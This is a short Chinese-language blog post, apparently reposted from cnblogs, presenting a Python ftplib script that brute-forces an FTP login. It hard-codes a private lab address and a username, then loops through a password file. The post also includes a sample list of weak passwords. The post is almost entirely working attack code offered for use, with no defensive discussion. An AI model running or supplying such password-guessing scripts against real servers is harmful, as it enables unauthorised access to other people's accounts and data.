python脚本-暴力破解FTP服务器密码

1、首先要知道FTP用户名,这里使用renqiyuan。

2、自定义一个密码文件pass.txt,进行暴力破解。

代码如下:

#!/usr/bin/python
# -*- coding: utf-8 -*-
import ftplib

def ftpLogin(host, Name, PassFile):

    #读取密码文件
    PF = open(PassFile, 'r')
    for line in PF.readlines():
        name = Name
        passwd = str(line).strip()
        print("Trying: "+name+"/"+passwd)
        try:
            ftp = ftplib.FTP(host)
            ftp.login(name,passwd)
            print("登录成功",name, passwd)
            ftp.quit()
            return (name, passwd)
        except Exception as e:
            pass
    print("没有找到正确的密码")
    return None

hostName = '172.16.10.200'
passwordFile = 'pass.txt'

if __name__ == '__main__':
    ftpLogin(hostName, "renqiyuan", passwordFile)

密码文件:

2222
123
123
123
111111
231
123

运行结果

image


读书和健身总有一个在路上

猜你喜欢

转载自www.cnblogs.com/Renqy/p/12929877.html